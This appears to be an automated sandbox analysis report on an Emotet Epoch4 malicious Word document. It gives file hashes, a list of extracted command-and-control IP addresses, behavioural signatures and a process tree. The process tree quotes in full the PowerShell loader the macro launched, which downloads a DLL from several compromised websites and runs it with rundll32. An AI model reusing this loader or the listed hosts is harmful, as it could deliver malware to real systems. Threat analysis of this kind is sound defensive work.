Analysis
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max time kernel
144s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
17-11-2021 08:29
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc
Resource
win7-en-20211104
General
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Target
emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc
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Size
140KB
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MD5
391dca4cf91ae12aa1b5ac9d0ac3ec41
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SHA1
47cfcf587d838f68a8f8df53ea3afae475436992
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SHA256
06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8
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SHA512
de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41
Malware Config
Extracted
emotet
Epoch4
91.200.186.228:443
191.252.196.221:8080
94.177.248.64:443
66.42.55.5:7080
103.8.26.103:8080
185.184.25.237:8080
103.8.26.102:8080
178.79.147.66:8080
58.227.42.236:80
45.118.135.203:7080
103.75.201.2:443
195.154.133.20:443
45.142.114.231:8080
212.237.5.209:443
207.38.84.195:8080
104.251.214.46:8080
212.237.17.99:8080
212.237.56.116:7080
216.158.226.206:443
110.232.117.186:8080
158.69.222.101:443
107.182.225.142:8080
176.104.106.96:8080
81.0.236.90:443
50.116.54.215:443
138.185.72.26:8080
51.68.175.8:8080
210.57.217.132:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 4964 4160 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 44 IoCs
Processes:
powershell.exerundll32.exeflow pid process 27 2168 powershell.exe 34 2168 powershell.exe 36 2288 rundll32.exe 37 2288 rundll32.exe 38 2288 rundll32.exe 39 2288 rundll32.exe 44 2288 rundll32.exe 45 2288 rundll32.exe 46 2288 rundll32.exe 47 2288 rundll32.exe 48 2288 rundll32.exe 49 2288 rundll32.exe 50 2288 rundll32.exe 51 2288 rundll32.exe 52 2288 rundll32.exe 53 2288 rundll32.exe 58 2288 rundll32.exe 59 2288 rundll32.exe 60 2288 rundll32.exe 61 2288 rundll32.exe 62 2288 rundll32.exe 63 2288 rundll32.exe 64 2288 rundll32.exe 65 2288 rundll32.exe 66 2288 rundll32.exe 67 2288 rundll32.exe 68 2288 rundll32.exe 69 2288 rundll32.exe 70 2288 rundll32.exe 71 2288 rundll32.exe 72 2288 rundll32.exe 73 2288 rundll32.exe 74 2288 rundll32.exe 75 2288 rundll32.exe 76 2288 rundll32.exe 77 2288 rundll32.exe 78 2288 rundll32.exe 79 2288 rundll32.exe 80 2288 rundll32.exe 81 2288 rundll32.exe 82 2288 rundll32.exe 83 2288 rundll32.exe 84 2288 rundll32.exe 85 2288 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 956 rundll32.exe 1988 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Satbnd\cucjohdllmtg.pfr rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4160 WINWORD.EXE 4160 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 2168 powershell.exe 2168 powershell.exe 2168 powershell.exe 2288 rundll32.exe 2288 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2168 powershell.exe -
Suspicious use of SetWindowsHookEx 17 IoCs
Processes:
WINWORD.EXEpid process 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE 4160 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 4160 wrote to memory of 4964 4160 WINWORD.EXE cmd.exe PID 4160 wrote to memory of 4964 4160 WINWORD.EXE cmd.exe PID 4964 wrote to memory of 2168 4964 cmd.exe powershell.exe PID 4964 wrote to memory of 2168 4964 cmd.exe powershell.exe PID 2168 wrote to memory of 956 2168 powershell.exe rundll32.exe PID 2168 wrote to memory of 956 2168 powershell.exe rundll32.exe PID 2168 wrote to memory of 956 2168 powershell.exe rundll32.exe PID 956 wrote to memory of 1988 956 rundll32.exe rundll32.exe PID 956 wrote to memory of 1988 956 rundll32.exe rundll32.exe PID 956 wrote to memory of 1988 956 rundll32.exe rundll32.exe PID 1988 wrote to memory of 1612 1988 rundll32.exe rundll32.exe PID 1988 wrote to memory of 1612 1988 rundll32.exe rundll32.exe PID 1988 wrote to memory of 1612 1988 rundll32.exe rundll32.exe PID 1612 wrote to memory of 2288 1612 rundll32.exe rundll32.exe PID 1612 wrote to memory of 2288 1612 rundll32.exe rundll32.exe PID 1612 wrote to memory of 2288 1612 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e4_06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8_2021-11-17__082839023390._docm.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\SysWow64\rundll32.exe"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\2056454785.dll,f14041654934⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\2056454785.dll",Control_RunDLL5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Satbnd\cucjohdllmtg.pfr",tHDNhYOZCXyJr6⤵
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Satbnd\cucjohdllmtg.pfr",Control_RunDLL7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2288
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
f50f44c1c5740f71e07e108019af3848
SHA1d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b
SHA256641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5
SHA512c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb
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MD5
f50f44c1c5740f71e07e108019af3848
SHA1d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b
SHA256641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5
SHA512c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb
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MD5
f50f44c1c5740f71e07e108019af3848
SHA1d24c7c7f460e57c9f945f5fd2b34f8dc05d36c4b
SHA256641a6b8d9e2180b145bcc39ff16a5a20fe89de81d7624f1e0eaa562a411888c5
SHA512c7c6e559783b160a640b7856b6ec0148befec5134067e5e57eec437246ba8ecbc8e7bd1d696ed8a960ec0f7d2484f096a8caca3437430bf5da36388ab56bb0bb